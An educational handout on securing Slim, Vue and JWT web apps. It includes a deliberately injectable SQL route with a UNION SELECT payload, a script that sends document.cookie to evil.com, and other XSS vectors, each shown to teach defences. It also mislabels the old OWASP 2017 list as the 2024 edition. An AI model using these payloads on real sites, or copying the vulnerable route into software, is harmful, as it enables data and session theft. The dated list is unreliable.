Secure Full-Stack Web Apps Using JWT, Slim and Vue

Page 1: Introduction

Modern web applications often serve as the front-lines of digital interaction and commerce, supporting everything from personal blogs to large-scale e-commerce platforms. These apps handle sensitive user information, financial data, and proprietary business logic. As their usage grows, so do the attack vectors and security threats they face. It becomes essential for developers—not just security professionals—to understand the principles and implementation of secure coding and authentication.

This chapter covers web application security by exploring how to build a secure full-stack application using three core technologies:

1. JWT (JSON Web Token): A compact, URL-safe token used for stateless authentication.
2. Slim Framework (PHP): A lightweight backend framework that supports RESTful APIs.
3. Vue.js: A modern frontend framework capable of reactive, secure user interfaces.

Throughout this module, you will not only learn what vulnerabilities exist but also how to exploit them and, more importantly, how to fix them. We'll cover everything from validating inputs and sanitizing outputs to securing tokens and implementing protected routes.

This guide is structured into the following sections:

- ✓ Fundamentals of Web Security – Core concepts, the CIA triad, OWASP Top 10.
- ✓ Backend Security (Slim) – SQL Injection, XSS, and data validation.
- ✓ JWT Authentication and Authorization – Token structure, usage, middleware.
- ✓ Frontend Security (Vue) – Secure token storage, route guards, DOM sanitization.
- ✓ Case Study – A step-by-step example of securing a RESTful endpoint /person.

By the end of this handout, you should be able to:

- ✓ Explain why and how vulnerabilities like SQLi and XSS occur.
- ✓ Write secure PHP code using Slim with proper validation and sanitation.
- ✓ Implement JWT-based stateless authentication.
- ✓ Handle secure token transmission and storage in Vue.js.
- ✓ Think critically about where security is needed in your own apps.

Understanding Web Security

What is Web Application Security?

Web application security is the practice of defending web apps against security threats that exploit vulnerabilities in an application's code, infrastructure, or user input handling. As more applications move to the cloud or become API-driven, the surface area for attacks grows significantly.

Web security isn't only the responsibility of network administrators or dedicated security professionals—it's a core competency for developers.

Some common threats include:

SQL Injection (SQLi) – Attacker injects SQL commands into input fields to read or manipulate database contents.

Cross-Site Scripting (XSS) – Attacker injects client-side scripts into content served to users.

Data Tampering – Modifying requests (URLs, forms, APIs) to manipulate or access unauthorized data.

Authentication Bypass – Gaining access to user accounts or protected features without valid credentials.

These vulnerabilities often arise from assumptions made during development, such as trusting user inputs, improperly handling data types, or failing to apply consistent validation and encoding techniques.

The Developer's Role in Security

As a developer, your responsibilities include:

- ✓ Validating input to prevent injection attacks.
- ✓ Encoding output to prevent XSS.
- ✓ Using HTTPS and secure headers.
- ✓ Implementing authentication and authorization mechanisms properly.

Security is not an afterthought or a feature to bolt on later—it's a principle to be embedded into every stage of your application's lifecycle.

OWASP Top 10 (latest 2024)

The OWASP Top 10 (2024) is a globally recognized list of the most critical security vulnerabilities in web applications. It is maintained by the Open Web Application Security Project (OWASP) and serves as a practical reference or checklist for developers, security teams, and educators.

This list highlights common mistakes and weaknesses that attackers frequently exploit — and it helps developers understand what they should test for, avoid, and fix in their code.

Think of it as a developer's cheat sheet of the biggest threats to modern web apps.

1. Injection (SQLi, Command Injection)
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging and Monitoring

Request Lifecycle & Attack Surface

To secure a web application, it's essential to understand the journey of a request through your system and identify where vulnerabilities can arise. Each step in the request-response lifecycle is a potential attack surface.

The Request-Response Lifecycle

i. Client Initiates a Request
ii. A user (or attacker) interacts with the frontend (Vue.js) and initiates an HTTP request to the server.
iii. This could be via form submission, button click, AJAX call, or URL access.
iv. Request Reaches the Web Server
v. The web server (running PHP Slim) receives the HTTP request.
vi. Headers, query parameters, body data, and method type (GET, POST, etc.) are parsed.
vii. Application Logic Executes
viii. The Slim route is matched to a controller function.
ix. Logic such as input validation, database queries, and authentication checks are performed.
x. Database Interaction
xi. If needed, Slim executes SQL queries using a PDO connection.
xii. Results are returned to the application layer.
xiii. Response Returned to Client
xiv. JSON data or HTML is composed and sent back to the frontend.
xv. Vue.js renders the response in the user’s browser.

Potential Attack Surfaces at Each Step

Stage	Vulnerability	Description
Client→ Server	XSS, CSRF, Parameter Tampering	Unsanitized inputs or forged requests from attackers
Server Parsing	Header Injection, HTTP Smuggling	Manipulated headers or unusual payload structures
App Logic	SQL Injection, Broken Access Control	Poorly validated or unguarded logic paths
Database	SQLi, Privilege Escalation	Queries allowing unintended access or modifications
Response	Data Leakage, Caching Issues	Sensitive data exposed or cached incorrectly

SQL Injection (What & How)

What is SQL Injection?

SQL Injection (SQLi) is one of the oldest and most dangerous web application vulnerabilities. It occurs when attackers are able to insert or "inject" malicious SQL statements into an application's query string. This allows them to manipulate the underlying database directly—retrieving, modifying, or deleting data that they shouldn't have access to.

The risk of SQL Injection stems from insecure code that dynamically constructs SQL statements by directly embedding user inputs, without proper validation or sanitization. When these inputs are interpreted as executable SQL commands, the attacker can take full control over the database.

Anatomy of an SQLi Attack

Let's assume we have the following API route in Slim:

```
$app->get('/person/{id}', function ($request, $response, $args) {
   $id = $args['id'];
   $sql = "SELECT * FROM person WHERE id = $id";
   $stmt = $pdo->query($sql);
   $result = $stmt->fetch();
   // return result
});
```

This code is vulnerable because it inserts $id directly into the SQL string. An attacker could exploit this by calling:

```
GET /person/0 UNION SELECT * FROM users
```

The resulting SQL command becomes:

```
SELECT * FROM person WHERE id = 0 UNION SELECT * FROM users;
```

This fetches all rows from the users table (which may contain credentials) and appends them to the result.

Impact of SQLi

Authentication Bypass – Logging in without credentials.
Data Dumping – Extracting sensitive data like usernames, passwords, emails.
Data Corruption – Modifying or deleting data records.
Privilege Escalation – Gaining admin access via database queries.
Complete System Compromise – In some cases, executing commands on the host OS.

SQLi is considered a critical vulnerability because it:
Is relatively easy to detect and exploit.
Often leads to a complete breach.

Exists in applications that rely heavily on direct SQL string composition.

SQL Injection – Preventing the Attack

The most effective and recommended way to defend against SQL Injection attacks in PHP (and Slim Framework) is through the use of prepared statements with parameterized queries. This technique separates SQL logic from data, ensuring that any input provided by users is treated strictly as data—not as part of the SQL command.

Understanding Prepared Statements

In traditional SQL string construction, you might concatenate a user input directly into a query like this:

```
$sql = "SELECT * FROM person WHERE id = $id";
```

This approach is vulnerable to SQL Injection because the $id value could contain malicious SQL code.

Prepared statements change that. Instead of combining SQL and data into one string, you first define the SQL statement with placeholders, and then bind actual values to those placeholders:

```
$sql = "SELECT * FROM person WHERE id = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$id]);
```

Here, the ? acts as a placeholder. The execute() method binds the $id securely. No matter what value $id contains, it will not be executed as SQL code.

Benefits of Prepared Statements

1. Security: Prevents injection by isolating user input from SQL syntax.
2. Clarity: Cleaner, more readable SQL queries.
3. Performance: In some databases, prepared statements can be cached and reused, improving speed.
4. Type Safety: Values are converted to the appropriate data types automatically.

Cross-Site Scripting (XSS)

What is XSS?

Cross-Site Scripting (XSS) is a type of injection attack where malicious scripts are injected into otherwise trusted websites or applications. Unlike SQL Injection, which targets the backend database, XSS affects the users directly by executing malicious JavaScript code in their browsers.

The core problem arises when applications accept input from users and then include that input in HTML output without proper validation or encoding. This allows attackers to insert script code that runs in the context of the user's browser session.

Why is XSS Dangerous?

XSS attacks can:

a. Steal cookies, session tokens, or other sensitive data
b. Hijack user sessions or impersonate users
c. Redirect users to malicious websites
d. Modify the DOM and display fake content or forms (phishing)
e. Act as a vector for further attacks, such as CSRF

Example

Imagine a comment form that stores and displays user input:

```
<!-- Unsafe Display Example -->
<!-- Using v-html in Vue -->
<div v-html="userComment"></div>
```

If userComment contains this:

```
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
```

And the app renders it without escaping, this script will run in every user's browser who loads that comment.

Another XSS Attack Payload Examples

```
<script>alert('XSS')</script>
<img src=x onerror=alert('Hacked')>
<svg onload=alert(1)>
<a href="javascript:alert('stolen')">Click me</a>
```

Summary

XSS is not just a server-rendering issue. If your Slim API returns unfiltered content and your frontend renders it improperly, you can still become vulnerable to dangerous XSS exploits. Always validate inputs on the backend and render defensively on the frontend.

AUTHENTICATION AND AUTHORIZATION

Session vs JWT vs OAuth

Modern web applications must authenticate users securely and efficiently — especially in distributed or single-page app (SPA) environments. Choosing the right authentication mechanism is crucial for balancing usability, scalability, and security. There are several options when it comes to implementing user authentication and maintaining session state. The three most widely used strategies are (with its own strengths and use cases):

1. Session-based Authentication
2. JWT (JSON Web Token) Authentication
3. OAuth 2.0 Authorization

Authentication Strategies Compared

Strategy	Storage	Stateless	Used For	Example Use Case
Session	Server-side	✗ No	Traditional Web Apps	PHP + server-rendered HTML
JWT (Token)	Client-side	✓ Yes	SPAs, REST APIs	Vue + Slim API
OAuth 2.0	Third-party	✓ Yes	Delegated Access / SSO	"Login with Google", GitHub, etc.

1. Session-Based Authentication

How it works:

After login, the server creates a session entry and stores it in memory or database.

A session ID is sent to the client via a cookie.

On each request, the browser automatically sends the cookie.

Server checks the session ID to identify the user.

Pros:	Cons:
Simple to implement Secure (if cookies are HttpOnly, Secure, etc.)	Server must store session data (stateful) Doesn't scale well with many servers Not ideal for APIs or SPAs

2. JWT (JSON Web Token)

How it works:

After login, server issues a signed JWT containing user info (claims).

Client stores it (in localStorage, or cookies).
Token is sent via Authorization header on each request.
No session needed on server; token carries identity.

Pros:	Cons:
Scalable: no server memory required Ideal for mobile apps, SPAs, and microservices Can include metadata (role, expiry) in payload	If token is stolen, attacker can impersonate until it expires Must manage secret keys securely Cannot be revoked (unless using short expiry or blacklist)

3. OAuth 2.0
How it works:
A user logs in using a third-party provider (Google, Facebook, etc.)
The provider sends back an access token to your app.
Your backend uses that token to access the user's data (with consent).

Pros:	Cons:
Great for federated login / SSO No need to store user credentials Widely adopted, standard-compliant	More complex to implement Requires provider integration Better suited for third-party access than internal auth

What is JWT (JSON Web Token)?

JWT (JSON Web Token) is a compact, self-contained way to securely transmit information between two parties — typically a client (e.g., Vue frontend) and a server (e.g., Slim backend). It is the foundation of modern stateless authentication in web apps and APIs.

What Is Inside a JWT?
A JWT consists of three parts, separated by dots:

xxxxx.yyyyy.zzzzz

These are:
Header (Base64-encoded JSON)
Payload (Base64-encoded JSON)
Signature (Hashed verification code)

Together, these allow the server to verify the token has not been tampered with and trust the claims within it.

1. Header
Specifies the signing algorithm and token type:

```
{
  "alg": "HS256",
  "typ": "JWT"}
```

alg: The algorithm used to sign the token (e.g., HS256 = HMAC SHA-256)
typ: Token type, usually "JWT"

2. Payload (Claims)
Contains information (claims) about the user or session. This is not encrypted, so never store sensitive data here.
Example:

```
{
```

```
 "sub": "user123",
 "name": "Alice",
 "role": "admin",
 "exp": 1749012345}
```

sub: Subject (usually user ID)
name, role: Custom claims
exp: Expiry timestamp (UNIX epoch seconds)

You can define custom claims as needed, like email, permissions, etc.

3. Signature
This is a hash of the header and payload, signed with a secret:

```
HMACSHA256(
 base64UrlEncode(header) + "." + base64UrlEncode(payload),
 secret
)
```

Prevents tampering — if the token is modified, the signature check will fail
Must be verified on every API call

Sample Encoded JWT
Example:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjMiLCJuYW1lIjoiQWxpY2UiLCJleHAiOjE3NTAwMDAwMDB9.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
```

You can decode this safely at jwt.io — but never share your secret or trust a JWT just because it decodes!

Important Notes

- ✓ JWTs are not encrypted — they are only base64-encoded and signed. This means anyone who intercepts the token can read its contents, including claims like user ID or role.
- ✓ The signature ensures integrity, not confidentiality. It prevents tampering but does not prevent unauthorized reading.
- ✓ Treat JWTs like passwords: if an attacker gains access to a JWT (e.g., via XSS or insecure storage), they can impersonate the user until the token expires.
- ✓ Always use HTTPS to transmit JWTs. Without it, tokens can be intercepted by attackers over the network.
- ✓ Do not store sensitive information (e.g., passwords) inside a JWT payload. Only include the minimum required claims (e.g., sub, role, exp).

JWT Structure Breakdown

To fully understand how JWT works, let's break it down into its three core components. This breakdown is essential when implementing authentication or debugging token-related issues.

1. Header (Metadata)
The header typically consists of two fields:

```
{
 "alg": "HS256",
 "typ": "JWT"}
```

"alg": Signing algorithm (e.g., HS256, RS256)

"typ": Type of token – always "JWT"

After base64url encoding, this becomes something like:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

2. Payload (Claims)
The payload contains the data about the user or session. These are known as claims and come in three types:

Type	Description	Example
Registered	Standard fields	iss, exp, sub, aud, etc.
Public	Custom but widely known	name, email, role
Private	Application-specific custom fields	department_id, userTier

Example:

```
{
 "sub": "user_123",
 "name": "Alice",
 "role": "admin",
 "exp": 1749030000}
```

Encoded:

eyJzdWIiOiJ1c2VyXzEyMyIsIm5hbWUiOiJBbGljZSIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTc0OTAzMDAwMH0

3. Signature (Tamper-Proofing)
The signature ensures that the token has not been tampered with. It's created by signing the base64url-encoded header and payload with a secret:

```
HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)
```

This produces a hashed string like:

SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Full JWT Breakdown Example
Putting it all together: HEADER.PAYLOAD.SIGNATURE

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiJ1c2VyXzEyMyIsIm5hbWUiOiJBbGljZSIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTc0OTAzMDAwMH0.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
```

Each section is base64url-encoded and separated by periods (.). When decoded, it becomes a readable JSON object — but only the signature ensures the contents are trusted.

Creating JWT in Slim (firebase/php-jwt)

To securely issue tokens in your Slim Framework backend, you'll use the widely adopted PHP library: firebase/php-jwt. This library handles encoding, decoding, and verifying JSON Web Tokens (JWTs) using standard algorithms like HS256.

Step 1: Install the JWT Library
Using Composer, install the package:

```
composer require firebase/php-jwt
```

This command adds the JWT dependency to your Slim project and makes the JWT class available for use.

Step 2: Prepare the Secret Key
In a real project, keep your secret in a .env file or config constant:

```
$secretKey = "your_secret_key_here";
```

Step 3: Define the JWT Payload
The payload contains claims about the user. Example:

```
$issuedAt   = time();$expiration = $issuedAt + 3600; // 1 hour
$payload = [
   'iss'  => 'http://yourdomain.com', // Issuer
   'sub'  => 'user_123',              // Subject (user ID)
   'role' => 'admin',
   'iat'  => $issuedAt,              // Issued at
   'exp'  => $expiration             // Expiration
];
```

These claims can be customized based on your needs. Always include an exp field to avoid perpetual tokens.

Step 4: Encode the JWT
Use the JWT::encode() method to create the token:

```
use Firebase\JWT\JWT;
use Firebase\JWT\Key;
$jwt = JWT::encode($payload, $secretKey, 'HS256');
```

This generates a compact, signed token string (e.g., eyJhbGciOiJIUzI1NiIsInR5cCI6...).

Step 5: Return JWT to Client
In your /login route, once user credentials are verified:

```
return $response->withJson([
   'token' => $jwt,
   'expires_at' => $expiration
], 200);
```

Always send the token over HTTPS. Never include it in a URL or expose it to logs.

Sample Login Endpoint (Slim)

```
$app->post('/login', function ($req, $res) use ($secretKey) {
   $data = $req->getParsedBody();

   // Dummy check – replace with real DB logic
   if ($data['username'] === 'admin' && $data['password'] === 'secret') {
      $issuedAt = time();
      $expiration = $issuedAt + 3600;

      $payload = [
```

```
        'sub' => 'admin',
        'role' => 'admin',
        'iat' => $issuedAt,
        'exp' => $expiration
    ];

    $jwt = JWT::encode($payload, $secretKey, 'HS256');

    return $res->withJson([
        'token' => $jwt,
        'expires_at' => $expiration
    ]);
  } else {
    return $res->withJson(['error' => 'Invalid login'], 401);
  }
});
```

Protecting Routes with JWT

Now that you've built a JWT middleware to verify tokens, the next step is to apply it to protect sensitive API endpoints. This ensures only authenticated users can access certain resources like user profiles, dashboards, or administrative tools.
Slim Framework makes it easy to apply middleware at the route or group level.

When Should You Protect Routes?
You should secure any route that:
- ✓ Requires user identity or role verification
- ✓ Reads/writes private data
- ✓ Performs admin-level operations
- ✓ Expects an authenticated user session

Examples:
✅ /api/person – list private profiles
✅ /api/orders – fetch orders for logged-in users
❌ /login, /register, /public – keep open

Applying Middleware to Routes (Slim Ver.4 Example)
Assuming you have already created a JwtMiddleware class and stored your secret key, protect routes like this:

```
use App\Middleware\JwtMiddleware;
$jwt = new JwtMiddleware($secretKey);
$app->group('/api', function () use ($app) {
   $app->get('/person', \App\Controllers\PersonController::class . ':getAll');
   $app->get('/person/{id}', \App\Controllers\PersonController::class . ':getById');
   $app->post('/person', \App\Controllers\PersonController::class . ':create');
})->add($jwt);
```

All routes inside /api are now protected by the JWT middleware.
Incoming requests must include a valid Authorization: Bearer <token> header, or they'll receive a 401 Unauthorized response.

Example: Protected Controller Action
Inside your controller, you can access decoded user data like this:

```
public function getAll(Request $request, Response $response): Response {
```

```
    $user = $request->getAttribute('token_payload');
    $userId = $user->sub;  // 'sub' is the user ID

    // Use $userId to fetch user-specific data
    ...
}
```

Verifying With Postman or Thunder Client

Log in using /login and copy the token from the response.
Create a new request to /api/person.
Add a header:

Authorization: Bearer <your_token_here>

Submit. If the token is valid, you'll get the data. If not, you'll get a 401.

Tips for Secure Route Protection

Practice	Why It Matters
Only allow HTTPS	Prevents token sniffing
Use short-lived tokens	Minimizes replay risk
Avoid storing sensitive data	Keep passwords and secrets out of JWTs
Add role-based checks	Restrict access based on user roles

Login and Token Issuing

A secure authentication flow starts with a login endpoint that verifies user credentials, and — if successful — issues a signed JWT. This token will act as proof of authentication for all subsequent protected API calls.
Let's walk through the full flow for creating a login route in Slim Framework, issuing the token using firebase/php-jwt, and returning it to the client securely.

Step-by-Step: Login Flow

Frontend sends login credentials (e.g., username and password) to /login.
Backend:
Validates the credentials against the database.
If valid, creates a JWT with a short expiration time.
Returns the JWT to the frontend.
Frontend stores the JWT (e.g., in localStorage or secure cookies).
Subsequent requests include the token in the Authorization header.

Slim Login Route Example

```
use Firebase\JWT\JWT;
use Firebase\JWT\Key;
$app->post('/login', function ($request, $response, $args) use ($pdo, $secretKey) {
    $data = $request->getParsedBody();
    $username = $data['username'];
    $password = $data['password'];

    // Example DB query – use prepared statements!
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
    $stmt->execute([$username]);
    $user = $stmt->fetch();

    if (!$user || !password_verify($password, $user['password'])) {
        return $response->withJson(['error' => 'Invalid credentials'], 401);
```

```
    }

    // Build payload
    $issuedAt = time();
    $expiresAt = $issuedAt + 3600;

    $payload = [
        'sub' => $user['id'],
        'role' => $user['role'],
        'iat' => $issuedAt,
        'exp' => $expiresAt
    ];

    $jwt = JWT::encode($payload, $secretKey, 'HS256');

    return $response->withJson([
        'token' => $jwt,
        'expires_at' => $expiresAt
    ]);
});
```

Tip: Always hash passwords using password_hash() and verify with password_verify().

Frontend Example (Vue)
A login form sends credentials like this:

```
fetch('http://localhost:8080/login', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    username: this.username,
    password: this.password
  })
})
.then(res => res.json())
.then(data => {
  if (data.token) {
    localStorage.setItem('jwt', data.token);
    // Redirect to dashboard
  }
});
```

Security Reminders

Risk	Defense Strategy
Storing plaintext passwords	Always hash using password_hash()
Long-lived tokens	Keep expiry short (15–60 minutes)
Insecure transmission	Use HTTPS — never transmit tokens over HTTP
Token in URL	Always pass JWT in headers, not in URLs

Now that you've implemented login and token issuance, your app is ready to accept authenticated requests from clients.

Using JWT in Vue Frontend

After a successful login and receiving a JWT from the backend, the Vue frontend must store the token securely and use it to authorize requests to protected API endpoints. This page walks you through how to integrate JWT authentication into your Vue application.

Basic JWT Workflow in Vue

User logs in → receives JWT.
Token is stored in localStorage, sessionStorage, or a cookie.
API requests include the token in the Authorization header.
Logout clears the token from storage.
Frontend guards restrict access to protected routes unless token exists and is valid.

Security Considerations in Vue

Concern	Recommendation
XSS attacks	Escape/validate user inputs; use Content-Security-Policy (CSP)
Token theft	Store JWT in memory (for high-security apps), or secure cookies
Token expiration	Monitor expiry and logout automatically
Unintended exposure	Don't pass token in URL or expose in DOM

Securing Frontend Routes in Vue

It's not enough to send a JWT on API requests — your frontend also needs to control which views or routes users can access based on whether they're authenticated. This is where route guards in Vue Router become essential.
This page shows how to protect routes in your Vue app using JWT and Vue Router's navigation guards.

Objective

Prevent users from accessing protected routes unless they are logged in (i.e., have a valid JWT).
Redirect unauthorized users to /login.

Secure Full-Stack Flow – Login to Protected Data Access

To fully understand how authentication and security work across your Slim + Vue stack, let's walk through a complete end-to-end scenario: from login to accessing protected API data. This page ties together concepts from earlier pages into a working **full-stack JOT-secured flow.**

Step-by-Step Secure Flow Overview

1. User logs in from Vue
2. Credentials sent via POST to Slim backend
3. Backend verifies credentials
4. JWT is generated and returned
5. JWT is stored in `localStorage` (frontend)
6. Frontend sends token in `Authorization` header in every communication with the backend
7. Backend middleware verifies token
8. Authorized data is returned
9. Frontend displays the result

1. Login Form (Vue)

A simple login form in Vue component:

```
<template>
 <form @submit.prevent="login">
  <input v-model="username" placeholder="Username" />
  <input type="password" v-model="password" placeholder="Password" />
```

```
  <button type="submit">Login</button>
 </form>
</template>
```

```
methods: {
 async login() {
  const res = await fetch('/login', {
   method: 'POST',
   headers: { 'Content-Type': 'application/json' },
   body: JSON.stringify({
    username: this.username,
    password: this.password
   })
  });

  const data = await res.json();
  if (data.token) {
   localStorage.setItem('jwt', data.token);
   this.$router.push('/dashboard');
  } else {
   alert('Login failed');
  }
 }
}
```

2. Slim Backend: Verify & Issue JWT

```
$app->post('/login', function ($request, $response) use ($pdo, $secretKey) {
   $body = $request->getParsedBody();
   $username = $body['username'];
   $password = $body['password'];

   $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
   $stmt->execute([$username]);
   $user = $stmt->fetch();

   if (!$user || !password_verify($password, $user['password'])) {
      return $response->withJson(['error' => 'Invalid login'], 401);
   }

   $token = JWT::encode([
      'sub' => $user['id'],
      'role' => $user['role'],
      'iat' => time(),
      'exp' => time() + 3600
   ], $secretKey, 'HS256');

   return $response->withJson(['token' => $token]);
});
```

3. Send JWT on Protected API Requests (Vue)

```
const token = localStorage.getItem('jwt');

fetch('/api/person', {
 headers: {
  Authorization: 'Bearer ' + token
```

```
  }
})
.then(res => res.json())
.then(data => {
  this.personList = data;
});
```

4. Middleware to Secure Routes (Slim)

```
$app->group('/api', function () use ($app) {
   $app->get('/person', 'App\\Controller\\PersonController:getAll');
})->add(new JwtMiddleware($secretKey));
```

Middleware verifies the token and either:

- Allows access and attaches user info, or
- Returns 401 Unauthorized

5. Vue Frontend Displays Protected Data

```
<ul>
  <li v-for="person in personList" :key="person.id">
    {{ person.name }} - {{ person.role }}
  </li>
</ul>
```

Final Reflections

Web security isn't just a topic — it's a mindset, a daily discipline, and a professional responsibility.

What You Now Know

You've built the knowledge and tools to:
Understand how attacks like SQLi and XSS work — and how to stop them.
Use JWT to authenticate users securely and scalably.
Structure backend APIs to protect sensitive data using middleware.
Store and transmit tokens properly across the frontend and backend.
Create user experiences that balance security with usability.
Write code that not only works, but resists abuse.

Your Role in a Secure Internet

Whether you're writing a student project or deploying real-world software, you are the gatekeeper of your users' data.

It's your job to:
Validate inputs
Sanitize outputs
Limit access
Encrypt communications
Hide secrets
Handle errors securely

Advice for the Road Ahead

Always assume attackers are smarter than your code.
Build defense in layers. Rely on no single safeguard.
Keep learning. New threats emerge constantly; your best defense is curiosity.
Test like an attacker. If you can break it, so can someone else.

"Security is not a product, but a process."
"It takes 20 years to build a reputation and a few minutes of cyber incident to ruin it."